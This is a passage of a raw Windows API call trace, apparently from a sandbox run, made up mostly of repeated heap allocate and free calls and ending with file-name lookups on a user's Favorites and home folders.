(in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.343] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.343] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.344] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.344] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.345] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.345] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.346] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.346] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.347] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.347] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.348] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.348] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.349] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.349] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.350] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.350] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, 